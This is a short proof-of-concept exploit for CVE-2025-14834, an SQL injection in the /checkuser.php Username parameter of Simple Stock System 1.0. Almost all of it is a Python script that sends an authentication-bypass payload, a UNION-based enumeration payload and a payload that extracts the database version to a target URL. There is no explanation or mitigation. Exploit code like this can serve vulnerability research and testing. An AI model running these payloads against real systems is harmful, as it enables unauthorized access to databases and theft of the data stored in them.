CVE-2025-14834 Simple Stock System 1.0 /checkuser.php SQL注入漏洞

# CVE-2025-14834 PoC - Simple Stock System 1.0 SQL Injection # Target: /checkuser.php Username parameter import requests import sys def exploit_sqli(target_url, payload): """Exploit SQL injection in Simple Stock System 1.0""" target = target_url.rstrip('/') + '/checkuser.php' params = {'Username': payload} try: response = requests.get(target, params=params, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" # Basic authentication bypass payload bypass_payload = "' OR '1'='1" print(f"[*] Testing basic bypass: {bypass_payload}") result = exploit_sqli('http://target.com/simple-stock-system', bypass_payload) print(result[:500]) # Union-based injection for database enumeration union_payload = "' UNION SELECT 1,2,3,4,5,6,7,8-- -" print(f"\n[*] Testing union injection: {union_payload}") result = exploit_sqli('http://target.com/simple-stock-system', union_payload) print(result[:500]) # Extract database version version_payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL-- -" print(f"\n[*] Extracting database version...") result = exploit_sqli('http://target.com/simple-stock-system', version_payload) print(result[:500])